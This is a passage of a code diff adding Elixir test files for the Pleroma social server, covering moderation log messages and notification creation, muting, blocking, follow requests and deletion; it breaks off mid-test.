SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.ModerationLogTest do + alias Pleroma.Activity + alias Pleroma.ModerationLog + + use Pleroma.DataCase + + import Pleroma.Factory + + describe "user moderation" do + setup do + admin = insert(:user, is_admin: true) + moderator = insert(:user, is_moderator: true) + subject1 = insert(:user) + subject2 = insert(:user) + + [admin: admin, moderator: moderator, subject1: subject1, subject2: subject2] + end + + test "logging user deletion by moderator", %{moderator: moderator, subject1: subject1} do + {:ok, _} = + ModerationLog.insert_log(%{ + actor: moderator, + subject: [subject1], + action: "delete" + }) + + log = Repo.one(ModerationLog) + + assert log.data["message"] == "@#{moderator.nickname} deleted users: @#{subject1.nickname}" + end + + test "logging user creation by moderator", %{ + moderator: moderator, + subject1: subject1, + subject2: subject2 + } do + {:ok, _} = + ModerationLog.insert_log(%{ + actor: moderator, + subjects: [subject1, subject2], + action: "create" + }) + + log = Repo.one(ModerationLog) + + assert log.data["message"] == + "@#{moderator.nickname} created users: @#{subject1.nickname}, @#{subject2.nickname}" + end + + test "logging user follow by admin", %{admin: admin, subject1: subject1, subject2: subject2} do + {:ok, _} = + ModerationLog.insert_log(%{ + actor: admin, + followed: subject1, + follower: subject2, + action: "follow" + }) + + log = Repo.one(ModerationLog) + + assert log.data["message"] == + "@#{admin.nickname} made @#{subject2.nickname} follow @#{subject1.nickname}" + end + + test "logging user unfollow by admin", %{admin: admin, subject1: subject1, subject2: subject2} do + {:ok, _} = + ModerationLog.insert_log(%{ + actor: admin, + followed: subject1, + follower: subject2, + action: "unfollow" + }) + + log = Repo.one(ModerationLog) + + assert log.data["message"] == + "@#{admin.nickname} made @#{subject2.nickname} unfollow @#{subject1.nickname}" + end + + test "logging user tagged by admin", %{admin: admin, subject1: subject1, subject2: subject2} do + {:ok, _} = + ModerationLog.insert_log(%{ + actor: admin, + nicknames: [subject1.nickname, subject2.nickname], + tags: ["foo", "bar"], + action: "tag" + }) + + log = Repo.one(ModerationLog) + + users = + [subject1.nickname, subject2.nickname] + |> Enum.map(&"@#{&1}") + |> Enum.join(", ") + + tags = ["foo", "bar"] |> Enum.join(", ") + + assert log.data["message"] == "@#{admin.nickname} added tags: #{tags} to users: #{users}" + end + + test "logging user untagged by admin", %{admin: admin, subject1: subject1, subject2: subject2} do + {:ok, _} = + ModerationLog.insert_log(%{ + actor: admin, + nicknames: [subject1.nickname, subject2.nickname], + tags: ["foo", "bar"], + action: "untag" + }) + + log = Repo.one(ModerationLog) + + users = + [subject1.nickname, subject2.nickname] + |> Enum.map(&"@#{&1}") + |> Enum.join(", ") + + tags = ["foo", "bar"] |> Enum.join(", ") + + assert log.data["message"] == + "@#{admin.nickname} removed tags: #{tags} from users: #{users}" + end + + test "logging user grant by moderator", %{moderator: moderator, subject1: subject1} do + {:ok, _} = + ModerationLog.insert_log(%{ + actor: moderator, + subject: [subject1], + action: "grant", + permission: "moderator" + }) + + log = Repo.one(ModerationLog) + + assert log.data["message"] == "@#{moderator.nickname} made @#{subject1.nickname} moderator" + end + + test "logging user revoke by moderator", %{moderator: moderator, subject1: subject1} do + {:ok, _} = + ModerationLog.insert_log(%{ + actor: moderator, + subject: [subject1], + action: "revoke", + permission: "moderator" + }) + + log = Repo.one(ModerationLog) + + assert log.data["message"] == + "@#{moderator.nickname} revoked moderator role from @#{subject1.nickname}" + end + + test "logging relay follow", %{moderator: moderator} do + {:ok, _} = + ModerationLog.insert_log(%{ + actor: moderator, + action: "relay_follow", + target: "https://example.org/relay" + }) + + log = Repo.one(ModerationLog) + + assert log.data["message"] == + "@#{moderator.nickname} followed relay: https://example.org/relay" + end + + test "logging relay unfollow", %{moderator: moderator} do + {:ok, _} = + ModerationLog.insert_log(%{ + actor: moderator, + action: "relay_unfollow", + target: "https://example.org/relay" + }) + + log = Repo.one(ModerationLog) + + assert log.data["message"] == + "@#{moderator.nickname} unfollowed relay: https://example.org/relay" + end + + test "logging report update", %{moderator: moderator} do + report = %Activity{ + id: "9m9I1F4p8ftrTP6QTI", + data: %{ + "type" => "Flag", + "state" => "resolved" + } + } + + {:ok, _} = + ModerationLog.insert_log(%{ + actor: moderator, + action: "report_update", + subject: report + }) + + log = Repo.one(ModerationLog) + + assert log.data["message"] == + "@#{moderator.nickname} updated report ##{report.id} with 'resolved' state" + end + + test "logging report response", %{moderator: moderator} do + report = %Activity{ + id: "9m9I1F4p8ftrTP6QTI", + data: %{ + "type" => "Note" + } + } + + {:ok, _} = + ModerationLog.insert_log(%{ + actor: moderator, + action: "report_note", + subject: report, + text: "look at this" + }) + + log = Repo.one(ModerationLog) + + assert log.data["message"] == + "@#{moderator.nickname} added note 'look at this' to report ##{report.id}" + end + + test "logging status sensitivity update", %{moderator: moderator} do + note = insert(:note_activity) + + {:ok, _} = + ModerationLog.insert_log(%{ + actor: moderator, + action: "status_update", + subject: note, + sensitive: "true", + visibility: nil + }) + + log = Repo.one(ModerationLog) + + assert log.data["message"] == + "@#{moderator.nickname} updated status ##{note.id}, set sensitive: 'true'" + end + + test "logging status visibility update", %{moderator: moderator} do + note = insert(:note_activity) + + {:ok, _} = + ModerationLog.insert_log(%{ + actor: moderator, + action: "status_update", + subject: note, + sensitive: nil, + visibility: "private" + }) + + log = Repo.one(ModerationLog) + + assert log.data["message"] == + "@#{moderator.nickname} updated status ##{note.id}, set visibility: 'private'" + end + + test "logging status sensitivity & visibility update", %{moderator: moderator} do + note = insert(:note_activity) + + {:ok, _} = + ModerationLog.insert_log(%{ + actor: moderator, + action: "status_update", + subject: note, + sensitive: "true", + visibility: "private" + }) + + log = Repo.one(ModerationLog) + + assert log.data["message"] == + "@#{moderator.nickname} updated status ##{note.id}, set sensitive: 'true', visibility: 'private'" + end + + test "logging status deletion", %{moderator: moderator} do + note = insert(:note_activity) + + {:ok, _} = + ModerationLog.insert_log(%{ + actor: moderator, + action: "status_delete", + subject_id: note.id + }) + + log = Repo.one(ModerationLog) + + assert log.data["message"] == "@#{moderator.nickname} deleted status ##{note.id}" + end + end +end diff --git a/test/pleroma/notification_test.exs b/test/pleroma/notification_test.exs new file mode 100644 index 000000000..f2e0f0b0d --- /dev/null +++ b/test/pleroma/notification_test.exs @@ -0,0 +1,1144 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.NotificationTest do + use Pleroma.DataCase + + import Pleroma.Factory + import Mock + + alias Pleroma.FollowingRelationship + alias Pleroma.Notification + alias Pleroma.Repo + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.ActivityPub.Builder + alias Pleroma.Web.ActivityPub.Transmogrifier + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.MastodonAPI.NotificationView + alias Pleroma.Web.Push + alias Pleroma.Web.Streamer + + describe "create_notifications" do + test "never returns nil" do + user = insert(:user) + other_user = insert(:user, %{invisible: true}) + + {:ok, activity} = CommonAPI.post(user, %{status: "yeah"}) + {:ok, activity} = CommonAPI.react_with_emoji(activity.id, other_user, "☕") + + refute {:ok, [nil]} == Notification.create_notifications(activity) + end + + test "creates a notification for an emoji reaction" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "yeah"}) + {:ok, activity} = CommonAPI.react_with_emoji(activity.id, other_user, "☕") + + {:ok, [notification]} = Notification.create_notifications(activity) + + assert notification.user_id == user.id + assert notification.type == "pleroma:emoji_reaction" + end + + test "notifies someone when they are directly addressed" do + user = insert(:user) + other_user = insert(:user) + third_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "hey @#{other_user.nickname} and @#{third_user.nickname}" + }) + + {:ok, [notification, other_notification]} = Notification.create_notifications(activity) + + notified_ids = Enum.sort([notification.user_id, other_notification.user_id]) + assert notified_ids == [other_user.id, third_user.id] + assert notification.activity_id == activity.id + assert notification.type == "mention" + assert other_notification.activity_id == activity.id + + assert [%Pleroma.Marker{unread_count: 2}] = + Pleroma.Marker.get_markers(other_user, ["notifications"]) + end + + test "it creates a notification for subscribed users" do + user = insert(:user) + subscriber = insert(:user) + + User.subscribe(subscriber, user) + + {:ok, status} = CommonAPI.post(user, %{status: "Akariiiin"}) + {:ok, [notification]} = Notification.create_notifications(status) + + assert notification.user_id == subscriber.id + end + + test "does not create a notification for subscribed users if status is a reply" do + user = insert(:user) + other_user = insert(:user) + subscriber = insert(:user) + + User.subscribe(subscriber, other_user) + + {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) + + {:ok, _reply_activity} = + CommonAPI.post(other_user, %{ + status: "test reply", + in_reply_to_status_id: activity.id + }) + + user_notifications = Notification.for_user(user) + assert length(user_notifications) == 1 + + subscriber_notifications = Notification.for_user(subscriber) + assert Enum.empty?(subscriber_notifications) + end + end + + describe "CommonApi.post/2 notification-related functionality" do + test_with_mock "creates but does NOT send notification to blocker user", + Push, + [:passthrough], + [] do + user = insert(:user) + blocker = insert(:user) + {:ok, _user_relationship} = User.block(blocker, user) + + {:ok, _activity} = CommonAPI.post(user, %{status: "hey @#{blocker.nickname}!"}) + + blocker_id = blocker.id + assert [%Notification{user_id: ^blocker_id}] = Repo.all(Notification) + refute called(Push.send(:_)) + end + + test_with_mock "creates but does NOT send notification to notification-muter user", + Push, + [:passthrough], + [] do + user = insert(:user) + muter = insert(:user) + {:ok, _user_relationships} = User.mute(muter, user) + + {:ok, _activity} = CommonAPI.post(user, %{status: "hey @#{muter.nickname}!"}) + + muter_id = muter.id + assert [%Notification{user_id: ^muter_id}] = Repo.all(Notification) + refute called(Push.send(:_)) + end + + test_with_mock "creates but does NOT send notification to thread-muter user", + Push, + [:passthrough], + [] do + user = insert(:user) + thread_muter = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{thread_muter.nickname}!"}) + + {:ok, _} = CommonAPI.add_mute(thread_muter, activity) + + {:ok, _same_context_activity} = + CommonAPI.post(user, %{ + status: "hey-hey-hey @#{thread_muter.nickname}!", + in_reply_to_status_id: activity.id + }) + + [pre_mute_notification, post_mute_notification] = + Repo.all(from(n in Notification, where: n.user_id == ^thread_muter.id, order_by: n.id)) + + pre_mute_notification_id = pre_mute_notification.id + post_mute_notification_id = post_mute_notification.id + + assert called( + Push.send( + :meck.is(fn + %Notification{id: ^pre_mute_notification_id} -> true + _ -> false + end) + ) + ) + + refute called( + Push.send( + :meck.is(fn + %Notification{id: ^post_mute_notification_id} -> true + _ -> false + end) + ) + ) + end + end + + describe "create_notification" do + @tag needs_streamer: true + test "it creates a notification for user and send to the 'user' and the 'user:notification' stream" do + %{user: user, token: oauth_token} = oauth_access(["read"]) + + task = + Task.async(fn -> + {:ok, _topic} = Streamer.get_topic_and_add_socket("user", user, oauth_token) + assert_receive {:render_with_user, _, _, _}, 4_000 + end) + + task_user_notification = + Task.async(fn -> + {:ok, _topic} = + Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) + + assert_receive {:render_with_user, _, _, _}, 4_000 + end) + + activity = insert(:note_activity) + + notify = Notification.create_notification(activity, user) + assert notify.user_id == user.id + Task.await(task) + Task.await(task_user_notification) + end + + test "it creates a notification for user if the user blocks the activity author" do + activity = insert(:note_activity) + author = User.get_cached_by_ap_id(activity.data["actor"]) + user = insert(:user) + {:ok, _user_relationship} = User.block(user, author) + + assert Notification.create_notification(activity, user) + end + + test "it creates a notification for the user if the user mutes the activity author" do + muter = insert(:user) + muted = insert(:user) + {:ok, _} = User.mute(muter, muted) + muter = Repo.get(User, muter.id) + {:ok, activity} = CommonAPI.post(muted, %{status: "Hi @#{muter.nickname}"}) + + notification = Notification.create_notification(activity, muter) + + assert notification.id + assert notification.seen + end + + test "notification created if user is muted without notifications" do + muter = insert(:user) + muted = insert(:user) + + {:ok, _user_relationships} = User.mute(muter, muted, false) + + {:ok, activity} = CommonAPI.post(muted, %{status: "Hi @#{muter.nickname}"}) + + assert Notification.create_notification(activity, muter) + end + + test "it creates a notification for an activity from a muted thread" do + muter = insert(:user) + other_user = insert(:user) + {:ok, activity} = CommonAPI.post(muter, %{status: "hey"}) + CommonAPI.add_mute(muter, activity) + + {:ok, activity} = + CommonAPI.post(other_user, %{ + status: "Hi @#{muter.nickname}", + in_reply_to_status_id: activity.id + }) + + notification = Notification.create_notification(activity, muter) + + assert notification.id + assert notification.seen + end + + test "it disables notifications from strangers" do + follower = insert(:user) + + followed = + insert(:user, + notification_settings: %Pleroma.User.NotificationSetting{block_from_strangers: true} + ) + + {:ok, activity} = CommonAPI.post(follower, %{status: "hey @#{followed.nickname}"}) + refute Notification.create_notification(activity, followed) + end + + test "it doesn't create a notification for user if he is the activity author" do + activity = insert(:note_activity) + author = User.get_cached_by_ap_id(activity.data["actor"]) + + refute Notification.create_notification(activity, author) + end + + test "it doesn't create duplicate notifications for follow+subscribed users" do + user = insert(:user) + subscriber = insert(:user) + + {:ok, _, _, _} = CommonAPI.follow(subscriber, user) + User.subscribe(subscriber, user) + {:ok, status} = CommonAPI.post(user, %{status: "Akariiiin"}) + {:ok, [_notif]} = Notification.create_notifications(status) + end + + test "it doesn't create subscription notifications if the recipient cannot see the status" do + user = insert(:user) + subscriber = insert(:user) + + User.subscribe(subscriber, user) + + {:ok, status} = CommonAPI.post(user, %{status: "inwisible", visibility: "direct"}) + + assert {:ok, []} == Notification.create_notifications(status) + end + + test "it disables notifications from people who are invisible" do + author = insert(:user, invisible: true) + user = insert(:user) + + {:ok, status} = CommonAPI.post(author, %{status: "hey @#{user.nickname}"}) + refute Notification.create_notification(status, user) + end + + test "it doesn't create notifications if content matches with an irreversible filter" do + user = insert(:user) + subscriber = insert(:user) + + User.subscribe(subscriber, user) + insert(:filter, user: subscriber, phrase: "cofe", hide: true) + + {:ok, status} = CommonAPI.post(user, %{status: "got cofe?"}) + + assert {:ok, []} == Notification.create_notifications(status) + end + + test "it creates notifications if content matches with a not irreversible filter" do + user = insert(:user) + subscriber = insert(:user) + + User.subscribe(subscriber, user) + insert(:filter, user: subscriber, phrase: "cofe", hide: false) + + {:ok, status} = CommonAPI.post(user, %{status: "got cofe?"}) + {:ok, [notification]} = Notification.create_notifications(status) + + assert notification + refute notification.seen + end + + test "it creates notifications when someone likes user's status with a filtered word" do + user = insert(:user) + other_user = insert(:user) + insert(:filter, user: user, phrase: "tesla", hide: true) + + {:ok, activity_one} = CommonAPI.post(user, %{status: "wow tesla"}) + {:ok, activity_two} = CommonAPI.favorite(other_user, activity_one.id) + + {:ok, [notification]} = Notification.create_notifications(activity_two) + + assert notification + refute notification.seen + end + end + + describe "follow / follow_request notifications" do + test "it creates `follow` notification for approved Follow activity" do + user = insert(:user) + followed_user = insert(:user, locked: false) + + {:ok, _, _, _activity} = CommonAPI.follow(user, followed_user) + assert FollowingRelationship.following?(user, followed_user) + assert [notification] = Notification.for_user(followed_user) + + assert %{type: "follow"} = + NotificationView.render("show.json", %{ + notification: notification, + for: followed_user + }) + end + + test "it creates `follow_request` notification for pending Follow activity" do + user = insert(:user) + followed_user = insert(:user, locked: true) + + {:ok, _, _, _activity} = CommonAPI.follow(user, followed_user) + refute FollowingRelationship.following?(user, followed_user) + assert [notification] = Notification.for_user(followed_user) + + render_opts = %{notification: notification, for: followed_user} + assert %{type: "follow_request"} = NotificationView.render("show.json", render_opts) + + # After request is accepted, the same notification is rendered with type "follow": + assert {:ok, _} = CommonAPI.accept_follow_request(user, followed_user) + + notification = + Repo.get(Notification, notification.id) + |> Repo.preload(:activity) + + assert %{type: "follow"} = + NotificationView.render("show.json", notification: notification, for: followed_user) + end + + test "it doesn't create a notification for follow-unfollow-follow chains" do + user = insert(:user) + followed_user = insert(:user, locked: false) + + {:ok, _, _, _activity} = CommonAPI.follow(user, followed_user) + assert FollowingRelationship.following?(user, followed_user) + assert [notification] = Notification.for_user(followed_user) + + CommonAPI.unfollow(user, followed_user) + {:ok, _, _, _activity_dupe} = CommonAPI.follow(user, followed_user) + + notification_id = notification.id + assert [%{id: ^notification_id}] = Notification.for_user(followed_user) + end + + test "dismisses the notification on follow request rejection" do + user = insert(:user, locked: true) + follower = insert(:user) + {:ok, _, _, _follow_activity} = CommonAPI.follow(follower, user) + assert [notification] = Notification.for_user(user) + {:ok, _follower} = CommonAPI.reject_follow_request(follower, user) + assert [] = Notification.for_user(user) + end + end + + describe "get notification" do + test "it gets a notification that belongs to the user" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}"}) + + {:ok, [notification]} = Notification.create_notifications(activity) + {:ok, notification} = Notification.get(other_user, notification.id) + + assert notification.user_id == other_user.id + end + + test "it returns error if the notification doesn't belong to the user" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}"}) + + {:ok, [notification]} = Notification.create_notifications(activity) + {:error, _notification} = Notification.get(user, notification.id) + end + end + + describe "dismiss notification" do + test "it dismisses a notification that belongs to the user" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}"}) + + {:ok, [notification]} = Notification.create_notifications(activity) + {:ok, notification} = Notification.dismiss(other_user, notification.id) + + assert notification.user_id == other_user.id + end + + test "it returns error if the notification doesn't belong to the user" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}"}) + + {:ok, [notification]} = Notification.create_notifications(activity) + {:error, _notification} = Notification.dismiss(user, notification.id) + end + end + + describe "clear notification" do + test "it clears all notifications belonging to the user" do + user = insert(:user) + other_user = insert(:user) + third_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "hey @#{other_user.nickname} and @#{third_user.nickname} !" + }) + + {:ok, _notifs} = Notification.create_notifications(activity) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "hey again @#{other_user.nickname} and @#{third_user.nickname} !" + }) + + {:ok, _notifs} = Notification.create_notifications(activity) + Notification.clear(other_user) + + assert Notification.for_user(other_user) == [] + assert Notification.for_user(third_user) != [] + end + end + + describe "set_read_up_to()" do + test "it sets all notifications as read up to a specified notification ID" do + user = insert(:user) + other_user = insert(:user) + + {:ok, _activity} = + CommonAPI.post(user, %{ + status: "hey @#{other_user.nickname}!" + }) + + {:ok, _activity} = + CommonAPI.post(user, %{ + status: "hey again @#{other_user.nickname}!" + }) + + [n2, n1] = Notification.for_user(other_user) + + assert n2.id > n1.id + + {:ok, _activity} = + CommonAPI.post(user, %{ + status: "hey yet again @#{other_user.nickname}!" + }) + + [_, read_notification] = Notification.set_read_up_to(other_user, n2.id) + + assert read_notification.activity.object + + [n3, n2, n1] = Notification.for_user(other_user) + + assert n1.seen == true + assert n2.seen == true + assert n3.seen == false + + assert %Pleroma.Marker{} = + m = + Pleroma.Repo.get_by( + Pleroma.Marker, + user_id: other_user.id, + timeline: "notifications" + ) + + assert m.last_read_id == to_string(n2.id) + end + end + + describe "for_user_since/2" do + defp days_ago(days) do + NaiveDateTime.add( + NaiveDateTime.truncate(NaiveDateTime.utc_now(), :second), + -days * 60 * 60 * 24, + :second + ) + end + + test "Returns recent notifications" do + user1 = insert(:user) + user2 = insert(:user) + + Enum.each(0..10, fn i -> + {:ok, _activity} = + CommonAPI.post(user1, %{ + status: "hey ##{i} @#{user2.nickname}!" + }) + end) + + {old, new} = Enum.split(Notification.for_user(user2), 5) + + Enum.each(old, fn notification -> + notification + |> cast(%{updated_at: days_ago(10)}, [:updated_at]) + |> Pleroma.Repo.update!() + end) + + recent_notifications_ids = + user2 + |> Notification.for_user_since( + NaiveDateTime.add(NaiveDateTime.utc_now(), -5 * 86_400, :second) + ) + |> Enum.map(& &1.id) + + Enum.each(old, fn %{id: id} -> + refute id in recent_notifications_ids + end) + + Enum.each(new, fn %{id: id} -> + assert id in recent_notifications_ids + end) + end + end + + describe "notification target determination / get_notified_from_activity/2" do + test "it sends notifications to addressed users in new messages" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "hey @#{other_user.nickname}!" + }) + + {enabled_receivers, _disabled_receivers} = Notification.get_notified_from_activity(activity) + + assert other_user in enabled_receivers + end + + test "it sends notifications to mentioned users in new messages" do + user = insert(:user) + other_user = insert(:user) + + create_activity = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "type" => "Create", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "actor" => user.ap_id, + "object" => %{ + "type" => "Note", + "content" => "message with a Mention tag, but no explicit tagging", + "tag" => [ + %{ + "type" => "Mention", + "href" => other_user.ap_id, + "name" => other_user.nickname + } + ], + "attributedTo" => user.ap_id + } + } + + {:ok, activity} = Transmogrifier.handle_incoming(create_activity) + + {enabled_receivers, _disabled_receivers} = Notification.get_notified_from_activity(activity) + + assert other_user in enabled_receivers + end + + test "it does not send notifications to users who are only cc in new messages" do + user = insert(:user) + other_user = insert(:user) + + create_activity = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "type" => "Create", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "cc" => [other_user.ap_id], + "actor" => user.ap_id, + "object" => %{ + "type" => "Note", + "content" => "hi everyone", + "attributedTo" => user.ap_id + } + } + + {:ok, activity} = Transmogrifier.handle_incoming(create_activity) + + {enabled_receivers, _disabled_receivers} = Notification.get_notified_from_activity(activity) + + assert other_user not in enabled_receivers + end + + test "it does not send notification to mentioned users in likes" do + user = insert(:user) + other_user = insert(:user) + third_user = insert(:user) + + {:ok, activity_one} = + CommonAPI.post(user, %{ + status: "hey @#{other_user.nickname}!" + }) + + {:ok, activity_two} = CommonAPI.favorite(third_user, activity_one.id) + + {enabled_receivers, _disabled_receivers} = + Notification.get_notified_from_activity(activity_two) + + assert other_user not in enabled_receivers + end + + test "it only notifies the post's author in likes" do + user = insert(:user) + other_user = insert(:user) + third_user = insert(:user) + + {:ok, activity_one} = + CommonAPI.post(user, %{ + status: "hey @#{other_user.nickname}!" + }) + + {:ok, like_data, _} = Builder.like(third_user, activity_one.object) + + {:ok, like, _} = + like_data + |> Map.put("to", [other_user.ap_id | like_data["to"]]) + |> ActivityPub.persist(local: true) + + {enabled_receivers, _disabled_receivers} = Notification.get_notified_from_activity(like) + + assert other_user not in enabled_receivers + end + + test "it does not send notification to mentioned users in announces" do + user = insert(:user) + other_user = insert(:user) + third_user = insert(:user) + + {:ok, activity_one} = + CommonAPI.post(user, %{ + status: "hey @#{other_user.nickname}!" + }) + + {:ok, activity_two} = CommonAPI.repeat(activity_one.id, third_user) + + {enabled_receivers, _disabled_receivers} = + Notification.get_notified_from_activity(activity_two) + + assert other_user not in enabled_receivers + end + + test "it returns blocking recipient in disabled recipients list" do + user = insert(:user) + other_user = insert(:user) + {:ok, _user_relationship} = User.block(other_user, user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}!"}) + + {enabled_receivers, disabled_receivers} = Notification.get_notified_from_activity(activity) + + assert [] == enabled_receivers + assert [other_user] == disabled_receivers + end + + test "it returns notification-muting recipient in disabled recipients list" do + user = insert(:user) + other_user = insert(:user) + {:ok, _user_relationships} = User.mute(other_user, user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}!"}) + + {enabled_receivers, disabled_receivers} = Notification.get_notified_from_activity(activity) + + assert [] == enabled_receivers + assert [other_user] == disabled_receivers + end + + test "it returns thread-muting recipient in disabled recipients list" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}!"}) + + {:ok, _} = CommonAPI.add_mute(other_user, activity) + + {:ok, same_context_activity} = + CommonAPI.post(user, %{ + status: "hey-hey-hey @#{other_user.nickname}!", + in_reply_to_status_id: activity.id + }) + + {enabled_receivers, disabled_receivers} = + Notification.get_notified_from_activity(same_context_activity) + + assert [other_user] == disabled_receivers + refute other_user in enabled_receivers + end + + test "it returns non-following domain-blocking recipient in disabled recipients list" do + blocked_domain = "blocked.domain" + user = insert(:user, %{ap_id: "https://#{blocked_domain}/@actor"}) + other_user = insert(:user) + + {:ok, other_user} = User.block_domain(other_user, blocked_domain) + + {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}!"}) + + {enabled_receivers, disabled_receivers} = Notification.get_notified_from_activity(activity) + + assert [] == enabled_receivers + assert [other_user] == disabled_receivers + end + + test "it returns following domain-blocking recipient in enabled recipients list" do + blocked_domain = "blocked.domain" + user = insert(:user, %{ap_id: "https://#{blocked_domain}/@actor"}) + other_user = insert(:user) + + {:ok, other_user} = User.block_domain(other_user, blocked_domain) + {:ok, other_user} = User.follow(other_user, user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{other_user.nickname}!"}) + + {enabled_receivers, disabled_receivers} = Notification.get_notified_from_activity(activity) + + assert [other_user] == enabled_receivers + assert [] == disabled_receivers + end + end + + describe "notification lifecycle" do + test "liking an activity results in 1 notification, then 0 if the activity is deleted" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) + + assert Enum.empty?(Notification.for_user(user)) + + {:ok, _} = CommonAPI.favorite(other_user, activity.id) + + assert length(Notification.for_user(user)) == 1 + + {:ok, _} = CommonAPI.delete(activity.id, user) + + assert Enum.empty?(Notification.for_user(user)) + end + + test "liking an activity results in 1 notification, then 0 if the activity is unliked" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) + + assert Enum.empty?(Notification.for_user(user)) + + {:ok, _} = CommonAPI.favorite(other_user, activity.id) + + assert length(Notification.for_user(user)) == 1 + + {:ok, _} = CommonAPI.unfavorite(activity.id, other_user) + + assert Enum.empty?(Notification.for_user(user)) + end + + test "repeating an activity results in 1 notification, then 0 if the activity is deleted" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) + + assert Enum.empty?(Notification.for_user(user)) + + {:ok, _} = CommonAPI.repeat(activity.id, other_user) + + assert length(Notification.for_user(user)) == 1 + + {:ok, _} = CommonAPI.delete(activity.id, user) + + assert Enum.empty?(Notification.for_user(user)) + end + + test "repeating an activity results in 1 notification, then 0 if the activity is unrepeated" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) + + assert Enum.empty?(Notification.for_user(user)) + + {:ok, _} = CommonAPI.repeat(activity.id, other_user) + + assert length(Notification.for_user(user)) == 1 + + {:ok, _} = CommonAPI.unrepeat(activity.id, other_user) + + assert Enum.empty?(Notification.for_user(user)) + end + + test "liking an activity which is already deleted does not generate a notification" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) + + assert Enum.empty?(Notification.for_user(user)) + + {:ok, _deletion_activity} = CommonAPI.delete(activity.id, user) + + assert Enum.empty?(Notification.for_user(user)) + + {:error, :not_found} = CommonAPI.favorite(other_user, activity.id) + + assert Enum.empty?(Notification.for_user(user)) + end + + test "repeating an activity which is already deleted does not generate a notification" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) + + assert Enum.empty?(Notification.for_user(user)) + + {:ok, _deletion_activity} = CommonAPI.delete(activity.id, user) + + assert Enum.empty?(Notification.for_user(user)) + + {:error, _} = CommonAPI.repeat(activity.id, other_user) + + assert Enum.empty?(Notification.for_user(user)) + end + + test "replying to a deleted post without tagging does not generate a notification" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) + {:ok, _deletion_activity} = CommonAPI.delete(activity.id, user) + + {:ok, _reply_activity} = + CommonAPI.post(other_user, %{ + status: "test reply", + in_reply_to_status_id: activity.id + }) + + assert Enum.empty?(Notification.for_user(user)) + end + + test "notifications are deleted if a local user is deleted" do + user = insert(:user) + other_user = insert(:user) + + {:ok, _activity} = + CommonAPI.post(user, %{status: "hi @#{other_user.nickname}", visibility: "direct"}) + + refute Enum.empty?(Notification.for_user(other_user)) + + {:ok, job} = User.delete(user) + ObanHelpers.perform(job) + + assert Enum.empty?(Notification.for_user(other_user)) + end + + test "notifications are deleted if a remote user is deleted" do + remote_user = insert(:user) + local_user = insert(:user) + + dm_message = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "type" => "Create", + "actor" => remote_user.ap_id, + "id" => remote_user.ap_id <> "/activities/test", + "to" => [local_user.ap_id], + "cc" => [], + "object" => %{ + "type" => "Note", + "content" => "Hello!", + "tag" => [ + %{ + "type" => "Mention", + "href" => local_user.ap_id, + "name" => "@#{local_user.nickname}" + } + ], + "to" => [local_user.ap_id], + "cc" => [], + "attributedTo" => remote_user.ap_id + } + } + + {:ok, _dm_activity} = Transmogrifier.handle_incoming(dm_message) + + refute Enum.empty?(Notification.for_user(local_user)) + + delete_user_message = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "id" => remote_user.ap_id <> "/activities/delete", + "actor" => remote_user.ap_id, + "type" => "Delete", + "object" => remote_user.ap_id + } + + remote_user_url = remote_user.ap_id + + Tesla.Mock.mock(fn + %{method: :get, url: ^remote_user_url} -> + %Tesla.Env{status: 404, body: ""} + end) + + {:ok, _delete_activity} = Transmogrifier.handle_incoming(delete_user_message) + ObanHelpers.perform_all() + + assert Enum.empty?(Notification.for_user(local_user)) + end + + @tag capture_log: true + test "move activity generates a notification" do + %{ap_id: old_ap_id} = old_user = insert(:user) + %{ap_id: new_ap_id} = new_user = insert(:user, also_known_as: [old_ap_id]) + follower = insert(:user) + other_follower = insert(:user, %{allow_following_move: false}) + + User.follow(follower, old_user) + User.follow(other_follower, old_user) + + old_user_url = old_user.ap_id + + body = 